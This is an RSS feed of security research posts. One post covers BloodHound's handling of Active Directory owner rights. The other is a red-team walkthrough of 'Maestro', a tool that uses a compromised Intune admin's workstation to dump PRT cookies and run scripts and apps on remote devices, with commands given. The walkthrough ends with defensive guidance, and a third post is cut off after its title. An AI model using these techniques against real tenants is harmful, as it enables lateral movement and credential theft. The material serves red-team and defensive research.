<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chris Thompson on Medium]]></title>
        <description><![CDATA[Stories by Chris Thompson on Medium]]></description>
        <link>https://medium.com/@Mayyhem?source=rss-1cf7ed8b7054------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VB1kJkW5uCVpMaQ8</url>
            <title>Stories by Chris Thompson on Medium</title>
            <link>https://medium.com/@Mayyhem?source=rss-1cf7ed8b7054------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 09:08:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Mayyhem/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Do You Own Your Permissions, or Do Your Permissions Own You?]]></title>
            <link>https://medium.com/specter-ops-posts/do-you-own-your-permissions-or-do-your-permissions-own-you-c829a91f5e45?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/c829a91f5e45</guid>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 13:20:46 GMT</pubDate>
            <atom:updated>2025-03-26T13:20:46.672Z</atom:updated>
            <content:encoded><![CDATA[<h4>tl;dr: Less FPs for Owns/WriteOwner and new Owns/WriteOwnerLimitedRights edges</h4><p>Before we get started, if you’d prefer to listen to a 10-minute presentation instead of or to supplement reading this post, please check out the recording of our most recent <a href="https://youtu.be/MJ5Cz5jFb5w?si=X9O3kGoWok4Ofp_D&amp;t=661">BloodHound Release Recap webinar</a>. You can also sign up for future webinars <a href="https://specterops.io/events/">here</a>.</p><p>Back in August, a BloodHound Enterprise (BHE) customer told us that they had implemented an Active Directory (AD) setting called BlockOwnerImplicitRights to help address some attack paths related to object ownership (e.g., Owns, WriteOwner), but the findings were still present in their graph.</p><p>Until this point, I had assumed that the owner of an AD object was <strong>always </strong>implicitly granted permissions to modify that object’s security descriptor to compromise the underlying computer/user (WriteDacl). This is the logic the Owns and WriteOwner edges were built upon. What was this setting I’d never heard of?</p><p>The first thing our team did was review <a href="https://support.microsoft.com/en-us/topic/kb5008383-active-directory-permissions-updates-cve-2021-42291-536d5555-ffba-4248-a60e-d6cbc849cde1">the Microsoft documentation</a> to estimate the work effort in removing these false positives.</p><p>Turns out, Microsoft introduced BlockOwnerImplicitRights as the 29th bit in a forest’s dSHeuristics attribute to prevent <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2021-42291">a vaguely-worded vulnerability</a> where a user with permission to create computer-derived AD objects could modify security descriptors and sensitive attributes to elevate privileges in certain scenarios.</p><p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/fb7c101d-ec8b-4fbf-bca8-7d7c2d747d0c">According to Microsoft</a>, “The Owner of a security descriptor is implicitly granted READ_CONTROL and WRITE_DAC rights by default… these implicit rights are blocked when the following are TRUE:</p><ul><li>The BlockOwnerImplicitRights dsHeuristic is set to 1.</li><li>The requester is a member of neither the Domain Administrators or the Enterprise Administrators group.</li><li>The objectClass being added or modified is either of type computer or is derived from type computer.”</li></ul><p>Next, we read Jim Sykora’s excellent <a href="https://adminsdholder.com/2025/02/21/UpdatedOwnerOrPwned.html">Owner or Pwned</a> whitepaper, which dives into a lot more technical detail on which principal becomes the owner when objects are created, what owner permissions are abusable in different scenarios, and proactive and reactive considerations for implementing preventative controls. I highly recommend reading it to dive further into these concepts.</p><p>Now things were starting to make sense. If I understood correctly, enforcing the BlockOwnerImplicitRights bit of the dSHeuristics attribute could prevent certain scenarios we have exploited in real customer environments during offensive operations.</p><p>Consider this example:</p><p>An organization’s server team uses <strong>a specific account to programmatically join new systems to the domain</strong>, for example using Microsoft Configuration Manager (formerly SCCM — I physically can’t write a post without mentioning it) or a PowerShell script.</p><p>Remember, <strong>the account that joins a computer to the domain</strong> <strong>becomes the owner of the created object</strong> <strong>in many scenarios</strong> (detailed further in Jim’s whitepaper).</p><p>Years later, a computer joined to the domain by this account is promoted to a domain controller or is added to tier zero and is now<strong> susceptible to WriteDacl abuse via the owner’s implicit rights</strong> if the account that joined the system to the domain is compromised.</p><p>We have encountered many scenarios where ancient domain join credentials are exposed in a script on a file share or user’s desktop or can be <a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-1/cred-1_description.md">decrypted from the SCCM operating system deployment task sequence</a>, allowing us to compromise every computer they joined to the domain via their implicit WriteDacl permission.</p><p>Enter the BlockOwnerImplicitRights attribute.</p><p>If implicit ownership rights are blocked for these computer objects, the account that joined a computer to the domain <strong>cannot easily compromise the underlying machine</strong> via implicit WriteDacl abuse, unless they are already a member of Domain Admins/Enterprise Admins.</p><p>Implicit owner rights are also blocked when an ACE explicitly grants a permission to the <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd125370(v=ws.10)">OWNER RIGHTS SID</a> (S-1–3–4). In this case, the owner is only granted the specific permissions in these ACEs. <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749445(v=ws.10)?redirectedfrom=MSDN#ownerrights">Here is another reference</a> explaining use cases for this SID.</p><p>To fully understand the mechanics of these settings and how they impacted BloodHound, Matt Creel (<a href="https://x.com/Tw1sm">@Tw1sm</a>) got to work redesigning the Owns edge to eliminate false positives and accurately depict where these security features were enabled.</p><p>First, we needed to create a new edge called OwnsLimitedRights to identify any specific permissions granted to the object owner when an ACE is defined for the OWNER RIGHTS SID.</p><p>To summarize, implicit ownership rights are blocked if either of the following conditions are true:</p><ul><li>The OWNER RIGHTS SID (S-1–3–4) is explicitly granted a permission</li></ul><p>OR</p><ul><li>BlockOwnerImplicitRights (29th bit of dSHeuristics ) is set to 1</li><li>The owner is <strong>not </strong>a member of Domain Admins or Enterprise Admins</li><li>The owned object is a computer or derived type</li></ul><p>We landed on this design for the Owns and OwnsLimitedRights edges that were updated/introduced in BloodHound v7.1.0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EuEkswK5Qhvwf-yf" /></figure><p>How are WriteOwner permissions impacted by these changes?</p><p>Matt found that this was a bit more complex because <strong>ACEs defining permissions for the OWNER RIGHTS SID that are not inherited (i.e., are explicitly defined) are removed from objects when their owner changes</strong>.</p><p>As a result, we needed to check whether any ACE granted rights to the OWNER RIGHTS SID (S-1–3–4), whether such an ACE was inherited or explicitly defined, and whether it granted abusable permissions in order to correctly depict the WriteOwner edge. We also created a new edge called WriteOwnerLimitedRights that identifies specific abusable permissions granted to the OWNER RIGHTS SID.</p><p>We landed on this design for the WriteOwner and WriteOwnerLimitedRights edges, which are also in BloodHound since v7.1.0:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0NLxtOgvrMXNMVx6" /></figure><p>I picked up where Matt left off to implement these changes with a ton of help from Rohan Varzarkar (<a href="https://x.com/CptJesus">@CptJesus</a>) and John Hopper, our Director of Engineering.</p><p>To process the outcome of each of these scenarios, we needed to compare the forest’s dSHeuristics attribute value to the ACEs on each domain object. Since we don’t know what order data will be uploaded to BloodHound in or whether it’s complete (e.g., only the computers.json or domains.json file is uploaded), that meant we had to add portions of the logic to post-processing, which is the phase that occurs after ingestion of all data during a single upload.</p><p>Other portions of the logic could be created during the ingestion phase itself, such as creating edges when the OWNER RIGHTS SID is explicitly granted abusable permissions, in which case we never need to look at the dSHeuristics attribute since implicit owner rights are never granted.</p><p>To make the change backwards-compatible with previous SharpHound and third-party collector versions and as lightweight as possible, we wanted to avoid collecting every single ACE (as opposed to only abusable ACEs like SharpHound had always done), but we also needed to know whether any non-abusable permissions were granted to the OWNER RIGHTS SID and whether any such permissions were inherited. As a result, we created two new boolean properties for each object, DoesAnyAceGrantOwnerRights and DoesAnyInheritedAceGrantOwnerRights.</p><p>While coding and wiring everything together, we had to account for several other complex scenarios. For example, when both explicitly defined, abusable permissions and inherited, non-abusable permissions are granted to the OWNER RIGHTS SID, the explicitly defined permissions are deleted on ownership change but the inherited ones are not, so the Owns ACE is abusable but WriteOwner ACEs are not. In other cases where explicitly defined, non-abusable permissions are granted to the OWNER RIGHTS SID, the Owns ACE is not abusable. However, those explicitly defined permissions are deleted on owner change, so WriteOwner ACEs could be abusable if the forest’s BlockOwnerImplicitRights attribute is not set or if it is set but the object is not a computer-derived type.</p><p>The good news is, BloodHound does all of this processing for you now!</p><p>These changes resulted in the following PRs:</p><ul><li><a href="https://github.com/SpecterOps/BloodHound/pull/993">https://github.com/SpecterOps/BloodHound/pull/993</a></li><li><a href="https://github.com/SpecterOps/SharpHound/pull/124">https://github.com/SpecterOps/SharpHound/pull/124</a></li><li><a href="https://github.com/SpecterOps/SharpHoundCommon/pull/176">https://github.com/SpecterOps/SharpHoundCommon/pull/176</a></li></ul><p>As well as an update to <a href="https://specterops.io/bloodhound-overview">BHE</a>.</p><p>The majority of the ingest and post-processing logic is implemented in these files:</p><ul><li><a href="https://github.com/SpecterOps/BloodHound/blob/4dcd8074870c7b3e14fc1da220fe080acc2cce60/packages/go/ein/ad.go#L268">https://github.com/SpecterOps/BloodHound/blob/4dcd8074870c7b3e14fc1da220fe080acc2cce60/packages/go/ein/ad.go#L268</a></li><li><a href="https://github.com/SpecterOps/BloodHound/blob/main/packages/go/analysis/ad/owns.go">https://github.com/SpecterOps/BloodHound/blob/main/packages/go/analysis/ad/owns.go</a></li></ul><p>We learned that implementing these changes eliminated a ton of false positives from the graph for BloodHound users who block owner implicit rights. Users also get the OwnsLimitedRights and WriteOwnerLimitedRights edges “for free”, regardless of what collector they use, because these edges do not depend on collection of dSHeuristics or non-abusable OWNER RIGHTS ACEs.</p><p>In the diagrams below:</p><ul><li><strong>Red </strong>edges are now recalculated and <strong>removed as false positives</strong> when using the new SharpHound collector and BloodHound release</li><li><strong>Green </strong>edges are <strong>reclassified as</strong> <strong>OwnsLimitedRights/WriteOwnerLimitedRights</strong></li><li><strong>Blue </strong>edges are <strong>unchanged</strong></li></ul><h4>BlockOwnerImplicitRights = 1:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UN_WrSGXJJncbpoCy3o1g.png" /></figure><h4>BlockOwnerImplicitRights = 0:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CE4K4eR6JCYNmJInJV7fLg.png" /></figure><p>Thanks for reading! If you have any questions or feedback for this post, please reach out to me (<a href="https://x.com/_Mayyhem">@_Mayyhem</a>) on Twitter or in the <a href="https://ghst.ly/BHSlack">BloodHound Slack</a> (@Mayyhem)!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c829a91f5e45" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/do-you-own-your-permissions-or-do-your-permissions-own-you-c829a91f5e45">Do You Own Your Permissions, or Do Your Permissions Own You?</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Maestro]]></title>
            <link>https://medium.com/specter-ops-posts/maestro-9ed71d38d546?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ed71d38d546</guid>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Thu, 31 Oct 2024 21:24:54 GMT</pubDate>
            <atom:updated>2024-11-01T16:32:13.473Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Maestro: Abusing Intune for Lateral Movement Over C2</strong></h3><p>If I have a command and control (C2) agent on an Intune admin’s workstation, I should just be able to use their privileges to execute a script or application on an Intune-enrolled device, right?</p><p>Not so fast.</p><h3>I Wanna Go Fast!</h3><ul><li><a href="https://github.com/Mayyhem/Maestro">Take me to the GitHub repo!</a></li><li><a href="https://posts.specterops.io/maestro-9ed71d38d546#3530">Take me to the attack path walkthrough!</a></li><li><a href="https://posts.specterops.io/maestro-9ed71d38d546#66a5">Take me to the defensive guidance!</a></li></ul><h3>The Problem</h3><p>We often find ourselves in the context of a cloud administrator when following attack paths to objectives that require privileged access to Azure-hosted services. We want to use their Entra ID account’s privileges to execute actions in Azure, for example running arbitrary code on remote Intune devices (a.k.a. <a href="https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d">the “Death from Above” attack path</a> detailed by <a href="https://x.com/_wald0">Andy Robbins</a>), but we have some hurdles to overcome to accomplish this from a C2 agent:</p><ul><li>We don’t have the user’s cleartext password</li><li>Conditional access policies (CAPs) require multi-factor authentication (MFA) for access to the Intune Portal and/or a compliant, hybrid-joined device on a trusted network</li><li>We need to maintain stealth</li><li>We don’t have the knowledge, time, or patience to manipulate tokens and navigate the Azure portal or multiple tools</li></ul><p>Let’s look at these problems one at a time and discuss the options available to us.</p><p><strong>No Cleartext Credentials / MFA Required</strong></p><p>No password? No problem. We already <a href="https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/Askcreds">asked the admin nicely for their creds</a> and they didn’t bite, and their password hygiene on the host is solid, but if the device has an identity in Entra ID, we can dump <a href="https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token">primary refresh token</a> (PRT) cookies from the machine with tools like <a href="https://x.com/tifkin_">Lee Chagolla-Christensen</a>’s <a href="https://github.com/leechristensen/RequestAADRefreshToken">RequestAADRefreshToken</a>, <a href="https://x.com/_dirkjan">Dirk-jan Mollema</a>’s <a href="https://github.com/dirkjanm/ROADtoken">ROADToken</a>, <a href="https://x.com/mcbroom_evan">Evan McBroom</a>’s <a href="https://github.com/EvanMcBroom/lsa-whisperer">LSA Whisperer</a>, <a href="https://x.com/hotnops">Daniel Heinsen</a>’s, <a href="https://github.com/hotnops/SharpGetEntraToken">SharpGetEntraToken</a>, or <a href="https://github.com/wotwot563/aad_prt_bof">aad_prt_bof</a> by <a href="https://github.com/wotwot563">wotwot563</a>. These PRT cookies will even have an MFA claim if Windows Hello for Business (WHfB) was used for logon, allowing us to comply with MFA requirements enforced by CAPs or the <a href="https://azure.microsoft.com/en-us/blog/announcing-mandatory-multi-factor-authentication-for-azure-sign-in/">new default security policy for Azure sign-in</a>.</p><p><strong>Stealth</strong></p><p>We want to only execute tools that are code-signed and legitimately used in the environment, otherwise keep tool execution within our current process or proxied into the environment from a machine we control that isn’t subject to the organization’s security stack.</p><p>We could use our shiny new PRT cookie to interact with Azure using a web browser proxied through the administrator’s workstation, but:</p><ul><li>fumbling through the portal requires prior experience or time to figure out, and features are added, removed, or moved all the time</li><li>information made available by the Azure APIs we’re interested in is not always displayed to the user or is difficult to find</li><li>we have to take frequent screenshots and manual activity logs for deconfliction and reporting instead of letting our C2 framework handle all that, gross</li><li>we may still hit CAPs preventing access without a compliant and/or hybrid-joined device</li></ul><p>We could use our C2 agent to run command line tools that are likely to be already installed on cloud administrator workstations (e.g., PowerShell’s Invoke-RestMethod, <a href="https://github.com/microsoft/mggraph-intune-samples">Microsoft.Graph</a>, <a href="https://www.powershellgallery.com/packages/azuread/">AzureAD</a>, or <a href="https://github.com/microsoft/Intune-PowerShell-SDK">Intune</a> modules, curl.exe, etc.) and interact with Azure APIs, but they don’t directly support BYO PRT cookies, they require multiple steps to obtain refresh and access tokens after dumping a PRT cookie (let alone execute actions with those tokens), and they may generate suspicious parent/child process relationships and command line arguments.</p><p>We could dump refresh or access tokens from the memory of applications the cloud admin has used to authenticate to Entra ID (e.g., their browser, the ConfigMgr console in co-management setups, etc.) with tools like the <a href="https://github.com/trustedsec/CS-Remote-OPs-BOF">office_tokens BOF</a> from TrustedSec, but we need some luck to obtain creds with the correct client ID, scope, and resource for the actions we want to take or that can be <a href="https://github.com/secureworks/family-of-client-ids-research">swapped for creds</a> that meet these requirements.</p><p><strong>Device Compliance / Hybrid-joined Device</strong></p><p>An appropriately scoped refresh or access token would enable us to proxy in excellent open-source tools like <a href="https://github.com/dirkjanm/ROADtools">ROADTools</a>, <a href="https://github.com/Gerenios/AADInternals">AADInternals</a>, <a href="https://github.com/BloodHoundAD/BARK">BARK</a>, <a href="https://github.com/BloodHoundAD/AzureHound">AzureHound</a>, <a href="https://github.com/rvrsh3ll/TokenTactics">TokenTactics</a>/<a href="https://github.com/f-bader/TokenTacticsV2">TokenTacticsV2</a>, or <a href="https://github.com/dafthack/GraphRunner">GraphRunner</a>, but we still may be blocked by CAPs requiring device compliance or a hybrid-joined device when exchanging refresh tokens for access tokens or by <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-continuous-access-evaluation">Continuous Access Evaluation</a> when trying to use stolen access tokens. Further, we need a solid understanding of token manipulation, which at least for me was confusing and not easy to learn without a lot of help, trial and error, and <a href="https://outsidersecurity.nl/training/">training</a> from Dirk-jan Mollema at Outsider Security.</p><p>While it’s possible to <a href="https://aadinternals.com/post/mdm/">fake device compliance with AADInternals</a> thanks to Dr. Nestori Syynimaa (<a href="https://x.com/DrAzureAD">@DrAzureAD</a>) and just a few days ago, Dirk-jan Mollema <a href="https://x.com/_dirkjan/status/1850891976322781482">posted a screenshot of a fake device</a> he created that satisfied ten device compliance requirements, these techniques are not guaranteed to work in all organizations. Device compliance may also be determined and reported to Intune by Microsoft Configuration Manager (formerly SCCM) if the device is co-managed, complicating this attack vector further.</p><p>It’s also possible to satisfy conditional access policies requiring a hybrid-joined/registered device by joining a rogue/fake device to Entra ID or by overwriting an existing one, but these techniques require credentials to execute and don’t necessarily allow us to enroll the device in Intune to achieve device compliance.</p><p>In any case, CAPs may prevent us from proxying in the tools needed to pull off these attacks or from using them off network, and executing PowerShell directly on the admin’s workstation is risky. I’d rather just use the Intune admin’s compliant hybrid-joined device to reach my objectives.</p><p><strong>Using the Azure Portal and Other Tools</strong></p><p>Let’s say the problems above are all figured out or we luck out and stumble upon an access token with exactly the attributes we need and there are no CAPs preventing us from using it. We still need to figure out how to use the token to make the appropriate calls to the Microsoft Graph API to execute scripts, applications, and queries on Intune-enrolled devices, which is a complicated, multi-step process.</p><h3>The Solution</h3><p>These problems kept resurfacing and none of the available options were ideal for my use case, so I decided to write Maestro to automate them away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*Q0HvFPk-PaFefT-lIZpQVw.png" /></figure><p>Maestro, an open-source tool sponsored by <a href="https://specterops.io/">SpecterOps</a>, was first released at <a href="https://docs.google.com/presentation/d/1TGl-ASNo-1jXMOha9yd1CdPI-zCMt2UP/edit?usp=sharing&amp;ouid=114582824289521319309&amp;rtpof=true&amp;sd=true">DEF CON 2024 Demo Labs</a>. You can find the code <a href="https://github.com/Mayyhem/Maestro">here</a>. If compiling from source, make sure you use the Release build (or the copy on GitHub, if you trust me 😉) so that all of Maestro’s dependencies are merged into the standalone executable with <a href="https://github.com/CCob/dnMerge">dnMerge</a> by Ceri Coburn (<a href="https://x.com/_ethicalchaos_">@_ethicalchaos_</a>).</p><p>Maestro is essentially a wrapper for local PRT cookie requests and calls to the Microsoft Graph API with a lot of quality-of-life features added for red teamers. It allows you to execute apps, scripts, and <a href="https://learn.microsoft.com/en-us/mem/analytics/device-query">device query</a> on Intune-enrolled devices from a C2 agent on an admin’s workstation, no password or proxy required. Data can be optionally stored in a LiteDB database that Maestro will check for valid tokens when subsequent commands are executed.</p><p>Maestro takes care of acquiring all the necessary tokens and making the right HTTP requests to execute the action you’re attempting to take in the context of an Intune administrator. Specifically, Maestro mimics the way Edge obtains a nonce from Azure and a signed PRT cookie from the local TPM, then signs in to Intune with the authorization code OAuth flow and obtains an appropriately scoped access token for the requested resource from the mysterious <a href="https://github.com/Azure/portaldocs/blob/main/portal-sdk/generated/top-extensions-authentication-flow.md">DelegationToken endpoint</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3yGXQfW7b7nIfI1q" /></figure><h3>Executing the “Death from Above” Attack Path</h3><p>Let’s walk through how to execute scripts, applications, and device query on Intune devices with Maestro using the Mythic C2 framework by Cody Thomas (<a href="https://x.com/its_a_feature_">@its_a_feature_</a>) and the SpecterOps <a href="https://github.com/MythicAgents/Apollo">Apollo</a> Mythic C2 agent for inline assembly execution. Note that Apollo is a C2 agent we use in <a href="https://specterops.io/training/">our training offerings</a> and it was designed without stealth as a primary concern, so it will likely be detected in a real-world environment.</p><p>If something goes wrong, keep in mind that you can run any Maestro command with the `-h` flag to display its full usage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cECCV24NZckb1gBr" /></figure><p>Let’s say our objective is to gain access to a code repository that only Chris Thompson has access to, and we suspect that there is credential material in their home directory, so we’d like to move laterally to their workstation.</p><p><strong>Recon / Locating Users</strong></p><p>First, we’ll get a list of Intune devices where cthompson is the primary user, including what users were logged on the last time the device checked in. When the -d option is set, Maestro searches the specified database file for a valid access token with the required scope, then refresh tokens, and finally PRTs before getting a nonce from Azure and fetching a PRT cookie signed by the local system’s TPM to authenticate subsequent requests.</p><p>.\Maestro.exe -d &lt;name&gt;.db get intune devices -f &quot;userPrincipalName eq &#39;&lt;user&gt;@&lt;tenant&gt;.onmicrosoft.com&#39;&quot; -p usersLoggedOn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FAVqFEp0jeWwTJo2" /></figure><p>Next, Maestro uses the PRT cookie to request a code and id_token from Azure, uses them to obtain a portalAuthorization blob containing a refresh token from the authorize endpoint, and uses the refresh token to obtain an access token for Intune device management from the DelegationToken endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hIpxcicOVIE7iNk7" /></figure><p>Then Maestro uses the access token to obtain the list of Intune devices where cthompson is the primary user, including their device IDs and the IDs of users logged on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OJQFwAqHRJSVbPxj" /></figure><p>If we execute the same command again, Maestro will reuse the access token rather than going through the entire authentication flow again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NSCuqPumC9AJ6nmS" /></figure><p>Next, we’ll resolve the user ID bfb6a9c2-f3c8–4b9c-9d09–2924d38895f7 from the output of the previous command to a principal name, noting that it was cthompson with domain SID S-1–12–1–3216419266–1268577224–606669213–4153772243 who was logged into the Intune device with ID e537180b-6d04–427e-bf93-dbde818400eb the last time it checked in.</p><p>.\Maestro.exe -d Maestro.db get entra users -i &lt;id&gt; --reauth</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Fl9g9KN7xic9CtnY" /></figure><p><strong>Device Query</strong></p><p>We’ll make sure that the user is still logged in right now using device query, which, similar to SCCM’s <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/servers/manage/cmpivot-overview">CMPivot</a> feature, allows real-time read access to Intune enrolled devices. To do that, we’ll query the Windows Registry HKEY_USERS hive, which indicates that our target user’s domain SID has a session on the device right now.</p><p>.\Maestro.exe -d &lt;name&gt;.db exec intune device-query -i &lt;device_id&gt; -q &#39;WindowsRegistry(&quot;&quot;&quot;HKU\*&quot;&quot;&quot;&#39;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KcALG9sKoIrYdg9r" /></figure><p><strong>Script Execution</strong></p><p>On another device, we’ll use PowerShell to encode a script we’d like to execute on the Intune device. We’ll just write a new file to the C drive for the purpose of this demonstration, but the world is your oyster here.</p><pre># Execute a script on the system<br>$timestamp = Get-Date -Format &quot;yyyyMMdd_HHmmss&quot;;<br>$script = &quot;New-Item -Path &#39;C:\&#39; -Name &quot;&quot;Maestro_Executed_$timestamp.txt&quot;&quot; -ItemType &quot;&quot;File&quot;&quot;&quot;;<br>$bytes = [System.Text.Encoding]::UTF8.GetBytes($script);<br>$encoded = [Convert]::ToBase64String($bytes);<br>Write-Output $encoded</pre><p>Finally, we’ll execute the script on the target device then periodically check whether the script has executed and whether the first line of output is available, which is all that is made available by MS Graph. This can take a REALLY long time, especially after running multiple Intune scripts in a short time, but you can use the -t 0 option if you want to wait as long as it takes to recover the script’s output.</p><p>.\Maestro.exe -d &lt;name&gt;.db exec intune script -i &lt;device_id&gt; -s &lt;base64_encoded_script&gt; -n &lt;script_name&gt; -t 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NAmdfkv9smDPf4hk" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bgkm4Mv2aqqLzDda" /></figure><p>If you don’t want to hang your C2 agent or if your access token expires before the script output is available, you can request output manually as well.</p><p>.\Maestro.exe -d &lt;name&gt;.db get intune script-output -i &lt;script_id&gt; — device &lt;device_id&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xUkzQswxjW3Ha9lx" /></figure><p>Unfortunately, at the time of this writing, there is no FileContent device query action, so we can’t read the full contents of arbitrary files from remote devices with device query yet. You’ll have to get creative with script/application execution to accomplish that.</p><p><strong>Application Execution</strong></p><p>To execute an arbitrary application on an Intune device, simply point Maestro to the UNC path of the executable and either specify an Intune device ID, Entra device ID, or the ID of an existing Entra group containing the ID of the machine to execute the app on. If a device ID is specified, Maestro will automatically locate the device in both Intune and Entra and add it to a new Entra group before executing the application.</p><p>.\Maestro.exe -d &lt;name&gt;.db exec intune app -p &lt;unc_path&gt; -i &lt;device_id&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3XtJlSpoVDpVxMJT" /></figure><p>Maestro will attempt to force the device to sync with Intune to fetch applications pending installation via its persistent notification channel, but this fails pretty often because Microsoft severely throttles the number of sync actions a device can make in a short amount of time. In this case, you can use the exec intune sync command to try again or wait until the device’s next naturally occurring check-in (every eight hours or after rebooting by default).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S3BJe3X0QlUJlkGB" /></figure><p>Maestro does not clean up the new app and Entra group automatically because of this uncertain execution window, but the commands needed to execute cleanup manually are displayed to the user.</p><p>Eventually (the only unit of time Intune supports 🥲), you should see the results of your application execution.</p><h3>Using the Database</h3><p>Right now, the best way to review the contents of the database file is by opening it in LiteDB, where you can review previously queried objects and credentials obtained from Azure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fJnwZqp3rxDjZygt" /></figure><h3>What’s next for Maestro?</h3><ul><li>More flexible token manipulation and storage</li><li>Additional methods of execution</li><li>Credential gathering via Intune (Cloud LAPS)</li><li>Azure Arc support</li><li>Command line options for items in the database</li><li>More enumeration techniques with Entra and Resource Graph</li></ul><h3>Defensive Guidance</h3><h4><strong>Mitigation</strong></h4><p>If conditional access policies or security defaults require MFA for access to Azure admin portals and other applications that allow execution of administrative actions using Microsoft Graph, and the administrator is not logged into the device with Windows Hello for Business, MFA will prevent this particular attack because the PRT for that device/user combo will not have an MFA claim to satisfy the policy.</p><h4><strong>Detection</strong></h4><p><a href="https://x.com/h4wkst3r/status/1831366969079296097">Brett Hawkins</a> at IBM X-Force Red recently wrote an excellent, very detailed <a href="https://securityintelligence.com/x-force/detecting-intune-lateral-movement/">blog post about detecting Intune lateral movement techniques</a> and provided <a href="https://github.com/h4wkst3r/KQL-Queries/tree/main/MicrosoftIntune">Sentinel-ready KQL queries</a> that can be used to alert upon suspicious Intune script and application execution. There are lots of events of interest generated from this attack path that the KQL queries can be modified to support.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r0y6mGyl4690yHAG" /></figure><p>When creating detections, keep in mind that the attacker can control the information that Maestro and similar tools send to Microsoft Graph in HTTP requests (e.g., User Agent, time between requests, etc.). If possible, baseline your Intune admins’ legitimate activities and alert upon suspicious usage of these features. For example, if Intune apps are deleted very rarely in your organization or are typically created several days before they are assigned, those events might be indicators of compromise.</p><h3>Have questions or want to collaborate on new functionality or research?</h3><p>Hit me up on Twitter (<a href="https://x.com/_Mayyhem">@_Mayyhem</a>) or in the <a href="https://ghst.ly/BHSlack">BloodHound Slack</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ed71d38d546" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/maestro-9ed71d38d546">Maestro</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rooting out Risky SCCM Configs with Misconfiguration Manager]]></title>
            <link>https://medium.com/specter-ops-posts/rooting-out-risky-sccm-configs-with-misconfiguration-manager-0beecaab1af3?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/0beecaab1af3</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[sccm]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Thu, 11 Apr 2024 15:56:15 GMT</pubDate>
            <atom:updated>2024-04-15T13:11:19.474Z</atom:updated>
